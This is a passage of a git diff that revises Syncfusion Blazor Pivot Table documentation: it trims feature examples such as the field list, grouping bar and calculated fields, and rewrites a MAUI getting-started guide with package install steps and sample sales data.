 <SfPivotView TValue="ProductDetails" Height="300">
     <PivotViewDataSourceSettings DataSource="@dataSource">
@@ -387,210 +207,48 @@ N> Formatting can only be applied to numeric fields in the value section of the
     protected override void OnInitialized()
     {
         this.dataSource = ProductDetails.GetProductData().ToList();
-        //Bind the data source collection here. Refer "Assigning sample data to the pivot table" (https://blazor.syncfusion.com/documentation/pivot-table/getting-started-webapp#assigning-sample-data-to-the-blazor-pivot-table) section for more details.
     }
 }
 
 {% endhighlight %}
-{% endtabs %}
-
-* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Pivot Table component in the default web browser like below.
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LDhSNEZeilHoDpvq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor PivotTable with Formatting](images/blazor-pivottable-formatting.webp)" %}
-
-## Enable Field List
-
-The field list enhances user interaction by allowing you to dynamically add, remove, and rearrange fields across different axes, including column, row, value, and filter axes. This user-friendly interface also provides sorting and filtering options that can be applied at runtime without requiring code changes.
-
-To enable the field list, set the [ShowFieldList](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.SfPivotView-1.html#Syncfusion_Blazor_PivotView_SfPivotView_1_ShowFieldList) property in the [SfPivotView](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.SfPivotView-1.html) class to **true**. This activates the field list interface, making it accessible to users to modify Pivot Table report settings. For comprehensive details about field list functionality, [refer](./field-list) to the dedicated field list documentation.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@page "/"
-
-<SfPivotView TValue="ProductDetails" ShowFieldList="true" Height="300">
-    <PivotViewDataSourceSettings DataSource="@dataSource">
-        <PivotViewColumns>
-            <PivotViewColumn Name="Year"></PivotViewColumn>
-            <PivotViewColumn Name="Quarter"></PivotViewColumn>
-        </PivotViewColumns>
-        <PivotViewRows>
-            <PivotViewRow Name="Country"></PivotViewRow>
-            <PivotViewRow Name="Products"></PivotViewRow>
-        </PivotViewRows>
-        <PivotViewValues>
-            <PivotViewValue Name="Sold" Caption="Units Sold"></PivotViewValue>
-            <PivotViewValue Name="Amount" Caption="Sold Amount"></PivotViewValue>
-        </PivotViewValues>
-        <PivotViewFormatSettings>
-            <PivotViewFormatSetting Name="Amount" Format="C"></PivotViewFormatSetting>
-        </PivotViewFormatSettings>
-    </PivotViewDataSourceSettings>
-</SfPivotView>
-
-@code{
-    public List<ProductDetails> dataSource { get; set; }
-    protected override void OnInitialized()
-    {
-        this.dataSource = ProductDetails.GetProductData().ToList();
-        //Bind the data source collection here. Refer "Assigning sample data to the pivot table" (https://blazor.syncfusion.com/documentation/pivot-table/getting-started-webapp#assigning-sample-data-to-the-blazor-pivot-table) section for more details.
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BZrotEtSCvFxdyJy?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor PivotTable with FieldList Icon](images/blazor-pivottable-fieldlist-icon.webp)" %}
-
-## Enable Grouping Bar
-
-The grouping bar allows users to easily manage and modify the report settings of the Pivot Table directly through the user interface. With the grouping bar, users can instantly move fields between columns, rows, values, and filters by dragging them, allowing for quick arrangement and analysis of the data.
-
-Users can also use the grouping bar to sort, filter, or remove fields quickly without needing to write any code. To enable the grouping bar, set the [ShowGroupingBar](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.SfPivotView-1.html#Syncfusion_Blazor_PivotView_SfPivotView_1_ShowGroupingBar) property in the [SfPivotView](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.SfPivotView-1.html) class to **true**. For more details about using the grouping bar, see the [Grouping Bar documentation](./grouping-bar).
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@page "/"
-
-<SfPivotView TValue="ProductDetails" ShowGroupingBar="true" Height="300">
-    <PivotViewDataSourceSettings DataSource="@dataSource">
-        <PivotViewColumns>
-            <PivotViewColumn Name="Year"></PivotViewColumn>
-            <PivotViewColumn Name="Quarter"></PivotViewColumn>
-        </PivotViewColumns>
-        <PivotViewRows>
-            <PivotViewRow Name="Country"></PivotViewRow>
-            <PivotViewRow Name="Products"></PivotViewRow>
-        </PivotViewRows>
-        <PivotViewValues>
-            <PivotViewValue Name="Sold" Caption="Units Sold"></PivotViewValue>
-            <PivotViewValue Name="Amount" Caption="Sold Amount"></PivotViewValue>
-        </PivotViewValues>
-        <PivotViewFormatSettings>
-            <PivotViewFormatSetting Name="Amount" Format="C"></PivotViewFormatSetting>
-        </PivotViewFormatSettings>
-    </PivotViewDataSourceSettings>
-</SfPivotView>
-
-@code{
-    public List<ProductDetails> dataSource { get; set; }
-    protected override void OnInitialized()
+{% highlight c# tabtitle="ProductDetails.cs" %}
+
+public class ProductDetails
+{
+    public int Sold { get; set; }
+    public double Amount { get; set; }
+    public string Country { get; set; }
+    public string Products { get; set; }
+    public string Year { get; set; }
+    public string Quarter { get; set; }
+
+    public static List<ProductDetails> GetProductData()
     {
-        this.dataSource = ProductDetails.GetProductData().ToList();
-        //Bind the data source collection here. Refer "Assigning sample data to the pivot table" (https://blazor.syncfusion.com/documentation/pivot-table/getting-started-webapp#assigning-sample-data-to-the-blazor-pivot-table) section for more details.
+        List<ProductDetails> productData = new List<ProductDetails>();
+        productData.Add(new ProductDetails { Sold = 31, Amount = 52824, Country = "France", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q1" });
+        productData.Add(new ProductDetails { Sold = 51, Amount = 86904, Country = "France", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q2" });
+        productData.Add(new ProductDetails { Sold = 90, Amount = 153360, Country = "France", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q3" });
+        productData.Add(new ProductDetails { Sold = 25, Amount = 42600, Country = "France", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q4" });
+        productData.Add(new ProductDetails { Sold = 16, Amount = 27264, Country = "France", Products = "Mountain Bikes", Year = "FY 2025", Quarter = "Q1" });
+        productData.Add(new ProductDetails { Sold = 83, Amount = 124422, Country = "France", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q1" });
+        productData.Add(new ProductDetails { Sold = 51, Amount = 92824, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q1" });
+        productData.Add(new ProductDetails { Sold = 97, Amount = 86008, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q1" });
+        productData.Add(new ProductDetails { Sold = 15, Amount = 137800, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q1" });
+        productData.Add(new ProductDetails { Sold = 96, Amount = 77264, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2025", Quarter = "Q1" });
+        productData.Add(new ProductDetails { Sold = 23, Amount = 24422, Country = "Germany", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q1" });
+        productData.Add(new ProductDetails { Sold = 85, Amount = 237800, Country = "United States", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q1" });
+        productData.Add(new ProductDetails { Sold = 76, Amount = 97264, Country = "United States", Products = "Mountain Bikes", Year = "FY 2025", Quarter = "Q1" });
+        productData.Add(new ProductDetails { Sold = 53, Amount = 94422, Country = "United States", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q1" });
+        return productData;
     }
 }
 
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rtroXkDehXUHMfdh?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor PivotTable with Grouping Bar](images/blazor-pivottable-grouping-bar.webp)" %}
-
-## Exploring Filter Axis
-
-The filter axis lets you show only the data you need in the Blazor Pivot Table, making analysis simpler. You can add fields to the filter axis to control what data appears in the [PivotViewRows](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewRow.html), [PivotViewColumns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewColumn.html), and [PivotViewValues](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewValue.html) axes. You can set up these fields in two ways: by adding them to the [PivotViewFilters](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewFilter.html) collection in your code, or by dragging and dropping fields from other axes to the filter axis using the grouping bar or field list during runtime. This helps you focus on specific data without changing the Pivot Table’s structure.
-
-The following example shows how to add a field to the filter axis in a Blazor Pivot Table:
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@page "/"
-
-<SfPivotView TValue="ProductDetails" ShowGroupingBar="true" ShowFieldList="true" Height="300">
-    <PivotViewDataSourceSettings DataSource="@dataSource">
-        <PivotViewColumns>
-            <PivotViewColumn Name="Year"></PivotViewColumn>
-            <PivotViewColumn Name="Quarter"></PivotViewColumn>
-        </PivotViewColumns>
-        <PivotViewRows>
-            <PivotViewRow Name="Products"></PivotViewRow>
-        </PivotViewRows>
-        <PivotViewFilters>
-            <PivotViewFilter Name="Country"></PivotViewFilter>
-        </PivotViewFilters>
-        <PivotViewValues>
-            <PivotViewValue Name="Sold" Caption="Units Sold"></PivotViewValue>
-            <PivotViewValue Name="Amount" Caption="Sold Amount"></PivotViewValue>
-        </PivotViewValues>
-        <PivotViewFormatSettings>
-            <PivotViewFormatSetting Name="Amount" Format="C"></PivotViewFormatSetting>
-        </PivotViewFormatSettings>
-    </PivotViewDataSourceSettings>
-</SfPivotView>
-
-@code{
-    public List<ProductDetails> dataSource { get; set; }
-    protected override void OnInitialized()
-    {
-        this.dataSource = ProductDetails.GetProductData().ToList();
-        //Bind the data source collection here. Refer "Assigning sample data to the pivot table" (https://blazor.syncfusion.com/documentation/pivot-table/getting-started-webapp#assigning-sample-data-to-the-blazor-pivot-table) section for more details.
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rDroXajSVMDijPfd?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor PivotTable with Formatting](images/blazor-pivottable-format.webp)" %}
-
-## Calculated Field
-
-The calculated field feature enables users to create custom value fields using mathematical formulas and existing fields from their data source. Users can perform complex calculations with basic arithmetic operators and seamlessly integrate these custom fields into their Pivot Table for enhanced data visualization and reporting.
-
-Users can add calculated fields in two ways:
-- **Using code:** Set up calculated fields through the [PivotViewCalculatedFieldSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewCalculatedFieldSetting.html) class when configuring the Pivot Table.
-- **Using the user interface:** Alternatively, calculated fields can be added at runtime through a built-in dialog by setting the [AllowCalculatedField](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.SfPivotView-1.html#Syncfusion_Blazor_PivotView_SfPivotView_1_AllowCalculatedField) property in the [SfPivotView](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.SfPivotView-1.html) class to **true**. When enabled, a button appears in the Field List UI. Clicking this button opens a dialog that allows users to create, edit, or remove calculated fields at runtime. To learn more about calculated fields, [refer](./calculated-field) here.
-
-N> By default, the calculated fields created through code-behind are only added to the field list and calculated field dialog UI. To display the calculated field in the Pivot Table UI, it must be added to the [PivotViewValues](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewValue.html) class, as shown in the code below. Additionally, calculated fields can only be added to the value axis.
-
-Below is a sample code that shows how to set up calculated fields both through code-behind and using the popup dialog:
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@page "/"
-
-<SfPivotView TValue="ProductDetails" ShowFieldList="true" AllowCalculatedField="true" Height="300">
-    <PivotViewDataSourceSettings DataSource="@dataSource">
-        <PivotViewColumns>
-            <PivotViewColumn Name="Year"></PivotViewColumn>
-            <PivotViewColumn Name="Quarter"></PivotViewColumn>
-        </PivotViewColumns>
-        <PivotViewRows>
-            <PivotViewRow Name="Country"></PivotViewRow>
-            <PivotViewRow Name="Products"></PivotViewRow>
-        </PivotViewRows>
-        <PivotViewValues>
-            <PivotViewValue Name="Sold" Caption="Unit Sold"></PivotViewValue>
-            <PivotViewValue Name="Amount" Caption="Sold Amount"></PivotViewValue>
-            <PivotViewValue Name="Total" Caption="Total Amount"></PivotViewValue>
-        </PivotViewValues>
-        <PivotViewFormatSettings>
-            <PivotViewFormatSetting Name="Amount" Format="C"></PivotViewFormatSetting>
-            <PivotViewFormatSetting Name="Total" Format="C"></PivotViewFormatSetting>
-        </PivotViewFormatSettings>
-        <PivotViewCalculatedFieldSettings>
-            <PivotViewCalculatedFieldSetting Name="Total" Formula="@totalPrice"></PivotViewCalculatedFieldSetting>
-        </PivotViewCalculatedFieldSettings>
-    </PivotViewDataSourceSettings>
-</SfPivotView>
-
-@code{
-    public string totalPrice = "\"" + "Sum(Amount)" + "\"" + "+" + "\"" + "Sum(Sold)" + "\"";
-    public List<ProductDetails> dataSource { get; set; }
-    protected override void OnInitialized()
-    {
-        this.dataSource = ProductDetails.GetProductData().ToList();
-        //Bind the data source collection here. Refer "Assigning sample data to the pivot table" (https://blazor.syncfusion.com/documentation/pivot-table/getting-started-webapp#assigning-sample-data-to-the-blazor-pivot-table) section for more details.
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LDhSNEZeilHoDpvq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor PivotTable with Formatting](images/blazor-pivottable-formatting.webp)" %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LXBoXENSVskAdvwR?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor PivotTable with Caluclation Button](images/blazor-pivottable-calculate-button.webp)" %}
+* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Pivot Table component in the default web browser.
 
 ## Handling exceptions
 
@@ -601,7 +259,7 @@ The following code example shows how to display a server-side error message to t
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
-@page "/"
+@using Syncfusion.Blazor.PivotView
 
 <span class="error">@ErrorDetails</span>
 <SfPivotView TValue="PivotViewData" Width="100%" Height="450" AllowDataCompression="true" EnableVirtualization="true" ShowFieldList="true" ShowGroupingBar="true" MaxNodeLimitInMemberEditor="50">
diff --git a/blazor/pivot-table/getting-started-with-maui-app.md b/blazor/pivot-table/getting-started-with-maui-app.md
index 64bb51dd39..5b1b9d16b2 100644
--- a/blazor/pivot-table/getting-started-with-maui-app.md
+++ b/blazor/pivot-table/getting-started-with-maui-app.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Getting started with Blazor Pivot Table component in Hybrid MAUI App
 
-This section guides you through the steps to add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Pivot Table component to your Blazor MAUI application using Visual Studio or Visual Studio Code.
+This section guides you through the steps to add the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Pivot Table](https://www.syncfusion.com/blazor-components/blazor-pivot-table) component in a Blazor MAUI App using [Visual Studio](https://visualstudio.microsoft.com/vs/) and [Visual Studio Code](https://code.visualstudio.com/).
 
 > **Want to simplify your Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor development?**  
 > Explore the power of Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components with Syncfusion<sup style="font-size:70%">&reg;</sup> AI Coding Assistants. Easily integrate components, set up projects, and get real-time, context-aware code suggestions in AI-powered IDEs like Visual Studio Code, Cursor, Syncfusion<sup style="font-size:70%">&reg;</sup> CodeStudio, and more. [Learn more about Syncfusion<sup style="font-size:70%">&reg;</sup> AI Coding Assistants](https://blazor.syncfusion.com/documentation/ai-coding-assistant/overview).
@@ -20,26 +20,11 @@ This section guides you through the steps to add the Syncfusion<sup style="font-
 
 ## Prerequisites
 
-To create a Blazor MAUI app, you need the Mobile Development with .NET workload installed in Visual Studio. For installation details, see the [Microsoft MAUI installation guide](https://learn.microsoft.com/en-us/dotnet/maui/get-started/installation?tabs=vswin) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio).
+To use the MAUI project templates, install the Mobile development with the .NET extension for Visual Studio. For more details, refer to [here](https://learn.microsoft.com/en-us/dotnet/MAUI/get-started/installation?tabs=vswin) or the [Syncfusion® Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio).
 
 ## Create a new Blazor MAUI app in Visual Studio
 
-You can set up a Blazor MAUI app using Visual Studio with [Microsoft Templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=vswin). For step-by-step instructions, refer to the [Blazor MAUI app getting started guide](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app).
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Pivot Table and Themes NuGet packages
-
-To include the Blazor Pivot Table component, open the NuGet Package Manager in Visual Studio (Tools → NuGet Package Manager → Manage NuGet Packages for Solution). Search for and install the [Syncfusion.Blazor.PivotTable](https://www.nuget.org/packages/Syncfusion.Blazor.PivotTable) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) packages.
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.PivotTable -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). For a complete list of available NuGet packages and their details, refer to the [NuGet packages documentation](https://blazor.syncfusion.com/documentation/nuget-packages).
+Create a Blazor MAUI App using Visual Studio via [Microsoft templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=vswin). For detailed instructions, refer to the [Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
 
 {% endtabcontent %}
 
@@ -47,255 +32,114 @@ N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are availa
 
 ## Prerequisites
 
-To create a Blazor MAUI app in Visual Studio Code, ensure the .NET MAUI extension is installed. For more information, check the [Microsoft MAUI installation guide](https://learn.microsoft.com/en-us/dotnet/maui/get-started/installation?view=net-maui-9.0&tabs=visual-studio-code) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project).
+To use the MAUI project templates, install the Mobile development with the .NET extension for Visual Studio Code. For more details, refer to [here](https://learn.microsoft.com/en-us/dotnet/maui/get-started/installation?view=net-maui-9.0&tabs=visual-studio-code) or the [Syncfusion® Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project).
 
 ## Create a new Blazor MAUI app in Visual Studio Code
 
-You can create a Blazor MAUI app using [Microsoft Templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=visual-studio-code) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed steps, see the [Blazor MAUI app getting started guide](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app).
+Create a Blazor MAUI App using Visual Studio Code via [Microsoft templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=visual-studio-code) or the [Syncfusion® Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Pivot Table and Themes NuGet packages
-
-To add the Blazor Pivot Table component, open the terminal in Visual Studio Code and run the following commands to install the [Syncfusion.Blazor.PivotTable](https://www.nuget.org/packages/Syncfusion.Blazor.PivotTable) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) packages.
+Alternatively, create a MAUI application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
-{% highlight c# tabtitle="Package Manager" %}
+{% highlight c# tabtitle="Blazor MAUI App" %}
 
-dotnet add package Syncfusion.Blazor.PivotTable -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
+dotnet new maui-blazor -o MauiBlazorApp
+cd MauiBlazorApp
 
 {% endhighlight %}
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). For a complete list of available NuGet packages and their details, refer to the [NuGet packages documentation](https://blazor.syncfusion.com/documentation/nuget-packages).
-
 {% endtabcontent %}
 
 {% endtabcontents %}
 
-## Add import namespaces
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Install [Syncfusion.Blazor.PivotTable](https://www.nuget.org/packages/Syncfusion.Blazor.PivotTable/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*).
 
-To use the Pivot Table component, open the **~/Components/_Imports.razor** file and add the `Syncfusion.Blazor` and `Syncfusion.Blazor.PivotView` namespaces.
+The packages can also be installed using the integrated terminal in Visual Studio Code or the .NET CLI. Run the following commands in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>) or command line:
 
 {% tabs %}
-{% highlight razor tabtitle="~/_Imports.razor" %}
+{% highlight c# tabtitle=".NET CLI" %}
 
-@using Syncfusion.Blazor
-@using Syncfusion.Blazor.PivotView
+dotnet add package Syncfusion.Blazor.PivotTable --version {{ site.releaseversion }}
+dotnet add package Syncfusion.Blazor.Themes --version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
-
-Next, register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **~/MauiProgram.cs** file to enable the Pivot Table component in your app.
+To install via Package Manager Console, run the following commands:
 
 {% tabs %}
-{% highlight c# tabtitle="~/MauiProgram.cs" hl_lines="2 19" %}
-
-using Microsoft.Extensions.Logging;
-using Syncfusion.Blazor;
-
-namespace MauiBlazorWindow;
+{% highlight C# tabtitle="Package Manager" %}
 
-    public static class MauiProgram
-    {
-        public static MauiApp CreateMauiApp()
-        {
-            var builder = MauiApp.CreateBuilder();
-            builder
-                .UseMauiApp<App>()
-                .ConfigureFonts(fonts =>
-                {
-                    fonts.AddFont("OpenSans-Regular.ttf", "OpenSansRegular");
-                });
-
-            builder.Services.AddMauiBlazorWebView();
-            builder.Services.AddSyncfusionBlazor();
-#if DEBUG
-            builder.Services.AddBlazorWebViewDeveloperTools();
-            builder.Logging.AddDebug();
-#endif
-
-            return builder.Build();
-        }
-    }
+Install-Package Syncfusion.Blazor.PivotTable -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-## Add stylesheet and script resources
-
-To make the Pivot Table look and work correctly, add the stylesheet and script files from NuGet using [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Place these in the `<head>` section of the **~wwwroot/index.html** file.
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-```html
-<head>
-    ....
-    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-
-    //Blazor PivotTable Component script reference.
-    <!-- <script src="_content/Syncfusion.Blazor.PivotTable/scripts/sf-pivotview.min.js" type="text/javascript"></script> -->
-</head>
-```
-
-N> You can learn more about adding themes to your Blazor app in the [Blazor Themes documentation](https://blazor.syncfusion.com/documentation/appearance/themes). Options include [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), or [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator). For more on adding scripts, check the [Adding Script Reference guide](https://blazor.syncfusion.com/documentation/common/adding-script-references).
-
-## Add Blazor Pivot Table component
+## Add import namespaces
 
-Finally, add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Pivot Table component to the **~/Pages/Home.razor** file to display it in your app.
+After the packages are installed, open the **~/Components/_Imports.razor** file and add the `Syncfusion.Blazor` and `Syncfusion.Blazor.PivotView` namespaces.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="~/_Imports.razor" %}
 
-<SfPivotView TValue="ProductDetails"></SfPivotView>
+@using Syncfusion.Blazor
+@using Syncfusion.Blazor.PivotView
 
 {% endhighlight %}
 {% endtabs %}
 
-## Assigning sample data to the Blazor Pivot Table
-
-To enable users to perform meaningful analysis and generate actionable insights, the Pivot Table component requires a well-structured data source. This data source contains the information you want to analyze and visualize.
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-For demonstration purposes, a collection of objects containing sales details for various products across different periods and regions has been prepared. This sample data is assigned to the Pivot Table component through the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewDataSourceSettings-1.html#Syncfusion_Blazor_PivotView_PivotViewDataSourceSettings_1_DataSource) property under the [PivotViewDataSourceSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewDataSourceSettings-1.html) class.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **~/MauiProgram.cs** file.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight c# tabtitle="~/MauiProgram.cs" %}
 
-@page "/"
-
-<SfPivotView TValue="ProductDetails">
-     <PivotViewDataSourceSettings DataSource="@dataSource">
-    </PivotViewDataSourceSettings>
-</SfPivotView>
+....
+using Syncfusion.Blazor;
 
-@code{
-    public List<ProductDetails> dataSource { get; set; }
-    protected override void OnInitialized()
-    {
-        this.dataSource = ProductDetails.GetProductData().ToList();
-    }
+....
 
-    public class ProductDetails
+public static class MauiProgram
+{
+    public static MauiApp CreateMauiApp()
     {
-        public int Sold { get; set; }
-        public double Amount { get; set; }
-        public string Country { get; set; }
-        public string Products { get; set; }
-        public string Year { get; set; }
-        public string Quarter { get; set; }
-
-        public static List<ProductDetails> GetProductData()
-        {
-            List<ProductDetails> productData = new List<ProductDetails>();
-            productData.Add(new ProductDetails { Sold = 31, Amount = 52824, Country = "France", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 51, Amount = 86904, Country = "France", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 90, Amount = 153360, Country = "France", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 25, Amount = 42600, Country = "France", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 27, Amount = 46008, Country = "France", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 49, Amount = 83496, Country = "France", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 95, Amount = 161880, Country = "France", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 67, Amount = 114168, Country = "France", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 75, Amount = 127800, Country = "France", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 67, Amount = 114168, Country = "France", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 69, Amount = 117576, Country = "France", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 90, Amount = 153360, Country = "France", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 16, Amount = 27264, Country = "France", Products = "Mountain Bikes", Year = "FY 2025", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 83, Amount = 124422, Country = "France", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 57, Amount = 85448, Country = "France", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 20, Amount = 29985, Country = "France", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 67, Amount = 70008, Country = "France", Products = "Road Bikes", Year = "FY 2023", Quarter = "Q1" });
